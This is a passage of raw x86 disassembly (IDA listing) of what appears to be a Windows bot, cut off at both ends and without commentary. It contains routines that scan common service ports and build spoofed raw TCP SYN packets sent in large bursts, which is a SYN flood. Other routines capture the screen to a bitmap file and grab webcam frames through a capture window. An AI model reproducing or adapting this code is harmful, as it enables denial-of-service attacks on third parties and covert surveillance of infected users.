[ebp+var_254] push offset unk_435928 push eax call sub_41E6A6 add esp, 18h jmp short loc_41759F sub_417272 endp ; --------------------------------------------------------------------------- loc_4175F3: ; DATA XREF: sub_40274D+4A49o push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+8] push esi push edi mov eax, 85h mov ecx, eax mov esi, edx lea edi, [ebp-214h] rep movsd sub esp, 214h mov ecx, eax lea esi, [ebp-214h] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_417272 push eax lea eax, [ebp-414h] push offset unk_435B0C push eax call sub_41E6A6 lea eax, [ebp-414h] add esp, 220h push eax call sub_417D70 push dword ptr [ebp-10h] call sub_40B149 pop ecx pop ecx push 0 call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= sub_41766A proc near ; CODE XREF: sub_41776E+289p arg_0 = dword ptr 4 push 0FFFEh push 1 call sub_41B325 pop ecx pop ecx mov ecx, [esp+arg_0] shl eax, 10h and ecx, 0FFFFh or eax, ecx retn sub_41766A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417688 proc near ; CODE XREF: sub_41776E+178p var_214 = dword ptr -214h var_210 = dword ptr -210h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 jnz short loc_4176AC push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42B1F4 ; connect leave retn ; --------------------------------------------------------------------------- loc_4176AC: ; CODE XREF: sub_417688+11j push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+var_C] push eax xor edi, edi push 8004667Eh inc edi push esi mov [ebp+var_C], edi call ds:dword_42B1E4 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_4440AC ; connect push [ebp+arg_C] lea eax, [ebp+var_214] push 0 push eax lea eax, [ebp+var_110] push eax lea eax, [esi+1] push eax mov [ebp+var_10C], esi mov [ebp+var_110], edi mov [ebp+var_210], esi mov [ebp+var_214], edi call ds:dword_4441B0 ; select test eax, eax jnz short loc_417712 or eax, 0FFFFFFFFh jmp short loc_41776A ; --------------------------------------------------------------------------- loc_417712: ; CODE XREF: sub_417688+83j or edi, 0FFFFFFFFh cmp eax, edi jz short loc_41775F lea eax, [ebp+var_110] push eax push esi call sub_4298D6 ; __WSAFDIsSet test eax, eax jnz short loc_41773B lea eax, [ebp+var_214] push eax push esi call sub_4298D6 ; __WSAFDIsSet test eax, eax jz short loc_41775F loc_41773B: ; CODE XREF: sub_417688+A0j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi mov [ebp+var_8], 4 call ds:dword_42B1D4 ; getsockopt cmp eax, edi jnz short loc_417763 loc_41775F: ; CODE XREF: sub_417688+8Fj ; sub_417688+B1j mov eax, edi jmp short loc_41776A ; --------------------------------------------------------------------------- loc_417763: ; CODE XREF: sub_417688+D5j mov eax, [ebp+var_4] neg eax sbb eax, eax loc_41776A: ; CODE XREF: sub_417688+88j ; sub_417688+D9j pop edi pop esi leave retn sub_417688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_41776E proc near ; CODE XREF: seg000:00417C19p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 10Ch push ebx push esi push edi xor esi, esi inc esi push esi xor ebx, ebx push ebx push ebx push 0FFh push 3 push 2 mov [ebp+6Ch+var_14], esi call ds:dword_42B1D0 ; WSASocketA push 4 lea ecx, [ebp+6Ch+var_14] push ecx push 2 push ebx push eax mov ds:dword_4D5D20, eax call ds:dword_444120 ; setsockopt call ds:dword_42B038 ; GetTickCount push eax call sub_41ECD4 pop ecx push 19h pop ecx xor eax, eax lea edi, [ebp+6Ch+var_100] mov [ebp+6Ch+var_7C], ecx mov [ebp+6Ch+var_10C], ebx mov [ebp+6Ch+var_108], ebx mov [ebp+6Ch+var_104], ebx mov [ebp+6Ch+var_8C], 401h mov [ebp+6Ch+var_88], 15h mov [ebp+6Ch+var_84], 16h mov [ebp+6Ch+var_80], 17h mov [ebp+6Ch+var_78], 35h mov [ebp+6Ch+var_74], 50h mov [ebp+6Ch+var_70], 51h mov [ebp+6Ch+var_6C], 58h mov [ebp+6Ch+var_68], 6Eh mov [ebp+6Ch+var_64], 71h mov [ebp+6Ch+var_60], 77h mov [ebp+6Ch+var_5C], 87h mov [ebp+6Ch+var_58], 89h mov [ebp+6Ch+var_54], 8Bh mov [ebp+6Ch+var_50], 8Fh mov [ebp+6Ch+var_4C], 1BBh mov [ebp+6Ch+var_48], 1BDh mov [ebp+6Ch+var_44], 400h mov [ebp+6Ch+var_40], 599h mov [ebp+6Ch+var_3C], 5DCh mov [ebp+6Ch+var_38], 6B8h mov [ebp+6Ch+var_34], 0CEAh mov [ebp+6Ch+var_30], 0D3Dh mov [ebp+6Ch+var_2C], 1388h mov [ebp+6Ch+var_28], 1A0Bh mov [ebp+6Ch+var_24], 1F40h mov [ebp+6Ch+var_20], 1F90h rep stosd mov [ebp+6Ch+var_C], ebx mov [ebp+6Ch+var_1C], 3 mov [ebp+6Ch+var_18], 0BB8h mov [ebp+6Ch+var_4], ebx loc_4178AB: ; CODE XREF: sub_41776E+1A5j mov eax, [ebp+6Ch+arg_0] mov edi, [ebp+6Ch+var_4] mov [ebp+6Ch+var_98], eax xor eax, eax lea edi, [ebp+edi+6Ch+var_8C] mov ax, [edi] mov [ebp+6Ch+var_9C], 2 push eax call ds:dword_444260 ; htons push ebx push esi push 2 mov [ebp+6Ch+var_9A], ax call ds:dword_444100 ; socket lea ecx, [ebp+6Ch+var_1C] push ecx push 10h lea ecx, [ebp+6Ch+var_9C] push ecx push eax mov [ebp+6Ch+var_8], eax call sub_417688 add esp, 10h push [ebp+6Ch+var_8] mov [ebp+6Ch+var_10], eax call ds:dword_444218 ; closesocket cmp [ebp+6Ch+var_10], ebx jnz short loc_41790B mov eax, [edi] mov ecx, [ebp+6Ch+var_4] mov [ebp+ecx+6Ch+var_10C], eax loc_41790B: ; CODE XREF: sub_41776E+18Fj add [ebp+6Ch+var_4], 4 cmp [ebp+6Ch+var_4], 70h jl short loc_4178AB push offset asc_42FCE0 ; " " mov esi, offset dword_4D5D28 push esi call sub_41E6A6 mov edi, ds:dword_42B038 pop ecx pop ecx call edi ; GetTickCount mov [ebp+6Ch+var_8], eax mov [ebp+6Ch+var_4], ebx loc_417935: ; CODE XREF: sub_41776E+21Ej call edi ; GetTickCount sub eax, [ebp+6Ch+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+6Ch+arg_4] ja short loc_41798E mov eax, [ebp+6Ch+var_4] mov eax, [ebp+eax*4+6Ch+var_10C] cmp eax, ebx jz short loc_41796B push eax push esi push offset aSD ; "%s%d " push esi mov [ebp+6Ch+var_C], eax call sub_41E6A6 add esp, 10h jmp short loc_417985 ; --------------------------------------------------------------------------- loc_41796B: ; CODE XREF: sub_41776E+1E6j push 0FFFFh push ebx call sub_41B325 pop ecx pop ecx push eax call ds:dword_444260 ; htons movzx eax, ax mov [ebp+6Ch+var_C], eax loc_417985: ; CODE XREF: sub_41776E+1FBj inc [ebp+6Ch+var_4] cmp [ebp+6Ch+var_4], 1Ch jl short loc_417935 loc_41798E: ; CODE XREF: sub_41776E+1D8j ; sub_41776E+448j push 28h push ebx push offset byte_4D5CE0 call sub_41E5F0 mov esi, 0FFFFh push esi push 400h mov ds:byte_4D5CE0, 45h mov ds:byte_4D5CE9, 6 mov ds:byte_4D5CE1, 8 call sub_41B325 add esp, 14h push eax call ds:dword_444260 ; htons push 28h mov ds:word_4D5CE4, ax call ds:dword_444260 ; htons cmp ds:dword_4D5898, ebx mov ds:word_4D5CE2, ax mov ds:word_4D5CE6, bx mov ds:byte_4D5CE8, 0FFh jnz short loc_4179FF push [ebp+6Ch+arg_0] call sub_41766A pop ecx jmp short loc_417A0A ; --------------------------------------------------------------------------- loc_4179FF: ; CODE XREF: sub_41776E+284j push offset dword_4D5698 call ds:dword_44417C ; inet_addr loc_417A0A: ; CODE XREF: sub_41776E+28Fj mov ds:dword_4D5CEC, eax mov eax, [ebp+6Ch+arg_0] push 4000h mov ds:dword_4D5CF0, eax mov ds:byte_4D5D01, bl call ds:dword_444260 ; htons push esi push ebx mov ds:word_4D5D02, ax call sub_41B325 mov edi, eax push esi push ebx shl edi, 8 call sub_41B325 add esp, 10h add edi, eax push edi call ds:dword_444234 ; htonl mov edi, [ebp+6Ch+arg_0] mov ds:dword_4D5CF8, eax mov al, ds:byte_4D5D00 and al, 0Fh or al, 50h mov ds:byte_4D5D00, al mov ax, word ptr [ebp+6Ch+var_C] push 14h mov ds:dword_4D5CFC, ebx mov ds:word_4D5D06, bx mov ds:word_4D5CF6, ax mov ds:dword_4D5CC0, edi mov ds:byte_4D5CC4, bl mov ds:byte_4D5CC5, 6 call ds:dword_444260 ; htons mov ds:word_4D5CC6, ax mov ax, ds:word_4D5CF6 mov ds:word_4D5D0C, 2 mov ds:dword_4D5D10, edi mov ds:word_4D5D0E, ax mov [ebp+6Ch+var_4], ebx jmp short loc_417AC0 ; --------------------------------------------------------------------------- loc_417ABB: ; CODE XREF: sub_41776E+422j mov esi, 0FFFFh loc_417AC0: ; CODE XREF: sub_41776E+34Bj cmp [ebp+6Ch+var_4], ebx push esi push ebx jnz short loc_417AF4 call sub_41B325 pop ecx pop ecx push eax call ds:dword_444260 ; htons mov ds:word_4D5CF4, ax mov eax, ds:dword_4D5CEC mov ds:dword_4D5CBC, eax mov ds:byte_4D5D01, 2 mov ds:dword_4D5CFC, ebx jmp short loc_417B11 ; --------------------------------------------------------------------------- loc_417AF4: ; CODE XREF: sub_41776E+357j mov ds:byte_4D5D01, 10h call sub_41B325 pop ecx pop ecx push eax call ds:dword_444260 ; htons movzx eax, ax mov ds:dword_4D5CFC, eax loc_417B11: ; CODE XREF: sub_41776E+384j inc ds:word_4D5CE4 inc ds:dword_4D5CF8 mov ax, ds:word_4D5CF6 push 5 pop ecx mov ds:word_4D5CEA, bx mov ds:word_4D5D04, bx mov esi, offset word_4D5CF4 mov edi, offset dword_4D5CC8 rep movsd push 14h mov esi, offset byte_4D5CE0 push esi mov ds:word_4D5D0E, ax call sub_402422 push 20h push offset dword_4D5CBC mov ds:word_4D5CEA, ax call sub_402422 add esp, 10h push 10h push offset word_4D5D0C push ebx push 28h push esi push ds:dword_4D5D20 mov ds:word_4D5D04, ax call ds:dword_4440CC ; sendto inc [ebp+6Ch+var_4] cmp [ebp+6Ch+var_4], 3FFh jl loc_417ABB call ds:dword_42B038 ; GetTickCount sub eax, [ebp+6Ch+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+6Ch+arg_4] ja short loc_417BBB push [ebp+6Ch+arg_8] call ds:dword_42B014 ; Sleep jmp loc_41798E ; --------------------------------------------------------------------------- loc_417BBB: ; CODE XREF: sub_41776E+43Dj pop edi pop esi mov eax, offset dword_4D5D28 pop ebx add ebp, 6Ch leave retn sub_41776E endp ; --------------------------------------------------------------------------- loc_417BC8: ; DATA XREF: sub_40274D+605Co push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+8] push esi push edi mov esi, eax mov ecx, 85h lea edi, [ebp-214h] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp-110h] push eax call sub_41E7AD pop ecx push eax lea eax, [ebp-190h] push eax call sub_41E7AD pop ecx push eax lea eax, [ebp-210h] push eax call ds:dword_44417C ; inet_addr push eax call sub_41776E push eax lea eax, [ebp-414h] push offset unk_435B54 push eax call sub_41E6A6 xor esi, esi add esp, 18h cmp [ebp-8], esi jnz short loc_417C5A push esi push dword ptr [ebp-0Ch] lea eax, [ebp-414h] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-214h] call sub_40123B add esp, 14h loc_417C5A: ; CODE XREF: seg000:00417C38j lea eax, [ebp-414h] push eax call sub_417D70 push dword ptr [ebp-10h] call sub_40B149 pop ecx pop ecx push esi call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C78 proc near ; CODE XREF: sub_40274D+6E31p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_4D1450 mov edi, 0B8h loc_417C8C: ; CODE XREF: sub_417C78+33j cmp byte ptr [esi], 0 jz short loc_417CAF push [ebp+arg_0] push esi call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_417CAF inc [ebp+var_4] add esi, edi cmp esi, offset dword_4D1FD0 jl short loc_417C8C jmp short loc_417CF1 ; --------------------------------------------------------------------------- loc_417CAF: ; CODE XREF: sub_417C78+17j ; sub_417C78+26j mov esi, [ebp+var_4] imul esi, 0B8h push ebx push edi lea ebx, dword_4D1450[esi] push 0 push ebx call sub_41E5F0 push 17h push [ebp+arg_0] push ebx call sub_41E860 push 9Fh push [ebp+arg_4] lea eax, dword_4D1468[esi] push eax call sub_41E860 add esp, 24h inc ds:dword_43C4A0 pop ebx loc_417CF1: ; CODE XREF: sub_417C78+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_417C78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CF8 proc near ; CODE XREF: sub_40274D+26BCp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_435B94 push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 14h xor edi, edi mov esi, offset dword_4D1450 loc_417D22: ; CODE XREF: sub_417CF8+72j cmp byte ptr [esi], 0 jz short loc_417D5D lea eax, [esi+18h] push eax push esi push edi push offset dword_435B80 lea eax, [ebp+var_200] push 200h push eax call sub_41E6FE push 1 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40123B add esp, 2Ch loc_417D5D: ; CODE XREF: sub_417CF8+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4D1FD0 jl short loc_417D22 pop edi pop esi leave retn sub_417CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D70 proc near ; CODE XREF: sub_401F92+320p ; sub_4022F5+B5p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_10] push eax call ds:dword_42B0D4 ; GetLocalTime mov ebx, offset dword_4DA128 mov edi, 80h mov esi, offset dword_4D6128 loc_417D92: ; CODE XREF: sub_417D70+3Dj cmp byte ptr [ebx], 0 jz short loc_417DA9 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41E860 add esp, 0Ch loc_417DA9: ; CODE XREF: sub_417D70+25j sub ebx, edi cmp ebx, esi jge short loc_417D92 push [ebp+arg_0] movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41E6FE add esp, 28h pop edi pop esi pop ebx leave retn sub_417D70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DE4 proc near ; CODE XREF: sub_4025EF+BAp ; sub_40274D+6DAAp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax push [ebp+arg_0] lea eax, [ebp+var_80] push 80h push eax call sub_41E650 lea eax, [ebp+var_80] push eax call sub_417D70 add esp, 14h leave retn sub_417DE4 endp ; =============== S U B R O U T I N E ======================================= sub_417E10 proc near ; CODE XREF: sub_40274D+25BDp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4D6128 xor ecx, ecx loc_417E17: ; CODE XREF: sub_417E10+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4DA128 jl short loc_417E17 cmp [esp+arg_C], ecx jnz short loc_417E45 push ecx push [esp+4+arg_8] push offset dword_435BE0 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40123B add esp, 14h loc_417E45: ; CODE XREF: sub_417E10+19j push offset dword_435BCC call sub_417D70 pop ecx retn sub_417E10 endp ; --------------------------------------------------------------------------- byte_417E51 db 55h, 8Dh, 6Ch ; DATA XREF: sub_40274D+266Ao dd 0EC818C24h, 31Ch, 567C458Bh, 59456A57h, 0BD8DF08Bh dd 0FFFFFF58h, 0FF33A5F3h, 3947D233h, 45C76455h, 806Ch dd 70558900h, 110B889h, 1E750000h, 6075FF52h, 0FF5C858Dh dd 1068FFFFh, 5000435Ch, 0FF58B5FFh, 98E8FFFFh, 83FFFE93h dd 7D8014C4h, 147400DCh, 50DC458Dh, 68F8E8h, 59C08500h dd 74704589h, 6C458903h, 7C6583h, 4D6128BEh, 7C458B00h dd 7D6C453Bh, 3E804Ch, 7D803674h, 167400DCh, 707D83h, 458D1075h dd 0E85650DCh, 34B3h, 5959C085h, 0FF571A74h, 858D6075h dd 0FFFFFF5Ch, 0B5FF5056h, 0FFFFFF58h, 0FE9332E8h, 14C483FFh dd 817C45FFh, 80C6h, 28FE8100h, 7C004DA1h, 58858DACh, 68FFFFFDh dd 435BF4h, 6778E850h, 0F6330000h, 59647539h, 56207559h dd 8D6075FFh, 0FFFD5885h, 858D50FFh, 0FFFFFF5Ch, 58B5FF50h dd 0E8FFFFFFh, 0FFFE92E7h, 8D14C483h, 0FFFD5885h, 0DE850FFh dd 0FFFFFFFEh, 0DEE85C75h, 59FFFF31h, 15FF5659h, 42B068h db 0CCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_417F75 proc near ; CODE XREF: sub_40274D+6F5Dp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 484h push esi push edi xor esi, esi push esi push esi push esi push offset aDisplay ; "DISPLAY" call ds:dword_444250 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+74h+var_20], edi jnz short loc_417FA2 xor eax, eax jmp loc_4181AB ; --------------------------------------------------------------------------- loc_417FA2: ; CODE XREF: sub_417F75+24j push ebx push 8 push edi call ds:dword_444178 ; GetDeviceCaps push 0Ah push edi mov [ebp+74h+var_C], eax call ds:dword_444178 ; GetDeviceCaps push 0Ch push edi mov [ebp+74h+var_4], eax call ds:dword_444178 ; GetDeviceCaps cmp eax, 8 mov [ebp+74h+var_10], eax ja short loc_417FDC push 18h push edi call ds:dword_444178 ; GetDeviceCaps mov ebx, 100h jmp short loc_417FDE ; --------------------------------------------------------------------------- loc_417FDC: ; CODE XREF: sub_417F75+55j xor ebx, ebx loc_417FDE: ; CODE XREF: sub_417F75+65j push edi call ds:dword_444180 ; CreateCompatibleDC cmp eax, esi mov [ebp+74h+var_8], eax jz loc_41818D mov eax, [ebp+74h+var_C] mov [ebp+74h+var_80], eax mov eax, [ebp+74h+var_4] mov [ebp+74h+var_7C], eax mov ax, word ptr [ebp+74h+var_10] push esi push esi mov [ebp+74h+var_76], ax lea eax, [ebp+74h+var_18] push eax push 1 lea eax, [ebp+74h+var_84] push eax push edi mov [ebp+74h+var_84], 28h mov [ebp+74h+var_78], 1 mov [ebp+74h+var_74], esi mov [ebp+74h+var_70], esi mov [ebp+74h+var_6C], esi mov [ebp+74h+var_68], esi mov [ebp+74h+var_64], ebx mov [ebp+74h+var_60], ebx call ds:dword_44421C ; CreateDIBSection cmp eax, esi mov [ebp+74h+var_1C], eax jz loc_418198 push eax push [ebp+74h+var_8] call ds:dword_44408C ; SelectObject cmp eax, esi jz loc_418198 cmp eax, 0FFFFFFFFh jz loc_418198 push 0CC0020h push esi push esi push edi push [ebp+74h+var_4] push [ebp+74h+var_C] push esi push esi push [ebp+74h+var_8] call ds:dword_444190 ; BitBlt test eax, eax jz loc_418198 cmp ebx, esi jz short loc_418095 lea eax, [ebp+74h+var_484] push eax push ebx push esi push [ebp+74h+var_8] call ds:dword_4441C0 ; GetDIBColorTable mov ebx, eax loc_418095: ; CODE XREF: sub_417F75+10Aj mov edi, [ebp+74h+var_10] imul edi, [ebp+74h+var_4] mov ecx, [ebp+74h+var_C] imul edi, ecx push esi push 80h push 2 mov eax, ebx shl eax, 2 mov [ebp+74h+var_C], eax shr edi, 3 lea edx, [eax+edi+36h] add eax, 36h push esi mov [ebp+74h+var_26], eax mov eax, [ebp+74h+var_4] push esi push 40000000h push [ebp+74h+arg_0] mov [ebp+74h+var_50], eax mov ax, word ptr [ebp+74h+var_10] mov [ebp+74h+var_30], 4D42h mov [ebp+74h+var_2E], edx mov [ebp+74h+var_2A], si mov [ebp+74h+var_28], si mov [ebp+74h+var_58], 28h mov [ebp+74h+var_54], ecx mov [ebp+74h+var_4C], 1 mov [ebp+74h+var_4A], ax mov [ebp+74h+var_48], esi mov [ebp+74h+var_44], esi mov [ebp+74h+var_40], esi mov [ebp+74h+var_3C], esi mov [ebp+74h+var_38], ebx mov [ebp+74h+var_34], esi call ds:dword_42B08C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+74h+var_4], eax jz short loc_418178 push esi lea ecx, [ebp+74h+var_14] push ecx push 0Eh lea ecx, [ebp+74h+var_30] push ecx push eax call ds:dword_42B084 ; WriteFile push esi lea eax, [ebp+74h+var_14] push eax push 28h lea eax, [ebp+74h+var_58] push eax push [ebp+74h+var_4] call ds:dword_42B084 ; WriteFile cmp ebx, esi jz short loc_41815A push esi lea eax, [ebp+74h+var_14] push eax push [ebp+74h+var_C] lea eax, [ebp+74h+var_484] push eax push [ebp+74h+var_4] call ds:dword_42B084 ; WriteFile loc_41815A: ; CODE XREF: sub_417F75+1CBj push esi lea eax, [ebp+74h+var_14] push eax push edi push [ebp+74h+var_18] push [ebp+74h+var_4] call ds:dword_42B084 ; WriteFile push [ebp+74h+var_4] call ds:dword_42B004 ; CloseHandle xor esi, esi inc esi loc_418178: ; CODE XREF: sub_417F75+1A1j push [ebp+74h+var_1C] call ds:dword_444184 ; DeleteObject push [ebp+74h+var_8] call ds:dword_444130 ; DeleteDC mov edi, [ebp+74h+var_20] loc_41818D: ; CODE XREF: sub_417F75+75j push edi call ds:dword_444130 ; DeleteDC mov eax, esi jmp short loc_4181AA ; --------------------------------------------------------------------------- loc_418198: ; CODE XREF: sub_417F75+C6j ; sub_417F75+D8j ... push edi call ds:dword_444130 ; DeleteDC push [ebp+74h+var_8] call ds:dword_444130 ; DeleteDC xor eax, eax loc_4181AA: ; CODE XREF: sub_417F75+221j pop ebx loc_4181AB: ; CODE XREF: sub_417F75+28j pop edi pop esi add ebp, 74h leave retn sub_417F75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181B2 proc near ; CODE XREF: sub_40274D+7071p var_38 = byte ptr -38h var_24 = dword ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi xor esi, esi inc esi push esi push ds:dword_4DA128 xor ebx, ebx push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_444138 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_4181F0 mov eax, esi jmp loc_4183A6 ; --------------------------------------------------------------------------- loc_4181F0: ; CODE XREF: sub_4181B2+35j push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_41820D push ebx push [ebp+arg_4] push 40Ah push edi call ds:dword_4441CC ; SendMessageA jmp short loc_41820F ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181B2+47j xor eax, eax loc_41820F: ; CODE XREF: sub_4181B2+59j cmp eax, ebx jnz short loc_41821A loc_418213: ; CODE XREF: sub_4181B2+88j ; sub_4181B2+BCj mov ebx, esi jmp loc_41839B ; --------------------------------------------------------------------------- loc_41821A: ; CODE XREF: sub_4181B2+5Fj push edi call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418237 lea eax, [ebp+var_38] push eax push 2Ch push 40Eh push edi call ds:dword_4441CC ; SendMessageA loc_418237: ; CODE XREF: sub_4181B2+71j cmp [ebp+var_24], ebx jz short loc_418213 push edi call ds:dword_444084 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_41825D push ebx push ebx push edi push [ebp+var_4] call ds:dword_4441CC ; SendMessageA mov [ebp+var_8], eax jmp short loc_418260 ; --------------------------------------------------------------------------- loc_41825D: ; CODE XREF: sub_4181B2+98j mov [ebp+var_8], ebx loc_418260: ; CODE XREF: sub_4181B2+A9j push [ebp+var_8] call sub_41E5D3 cmp eax, ebx pop ecx mov [ebp+var_C], eax jz short loc_418213 push [ebp+var_8] call sub_41E5D3 mov esi, eax cmp esi, ebx pop ecx jnz short loc_418287 xor ebx, ebx inc ebx jmp loc_41839B ; --------------------------------------------------------------------------- loc_418287: ; CODE XREF: sub_4181B2+CBj push [ebp+var_4] call ds:dword_444084 ; IsWindow test eax, eax jz short loc_4182A4 push [ebp+var_C] push [ebp+var_8] push edi push [ebp+var_4] call ds:dword_4441CC ; SendMessageA loc_4182A4: ; CODE XREF: sub_4181B2+E0j push [ebp+var_8] push [ebp+var_C] push esi call sub_41F400 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_4182BF mov ecx, 280h loc_4182BF: ; CODE XREF: sub_4181B2+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_4182CB mov eax, 1E0h loc_4182CB: ; CODE XREF: sub_4181B2+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_444084 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_418315 push esi push [ebp+var_8] push edi push [ebp+var_4] call ds:dword_4441CC ; SendMessageA loc_418315: ; CODE XREF: sub_4181B2+153j push [ebp+var_4] call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418332 push ebx push ebx push 43Dh push [ebp+var_4] call ds:dword_4441CC ; SendMessageA loc_418332: ; CODE XREF: sub_4181B2+16Ej push [ebp+var_4] call ds:dword_444084 ; IsWindow test eax, eax jz short loc_418351 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call ds:dword_4441CC ; SendMessageA loc_418351: ; CODE XREF: sub_4181B2+18Bj push [ebp+var_4] call ds:dword_444084 ; IsWindow test eax, eax jz short loc_41836E push [ebp+var_C] push [ebp+var_8] push edi push [ebp+var_4] call ds:dword_4441CC ; SendMessageA loc_41836E: ; CODE XREF: sub_4181B2+1AAj push [ebp+var_C] call sub_41E2A1 push esi call sub_41E2A1 pop ecx pop ecx push [ebp+var_4] call 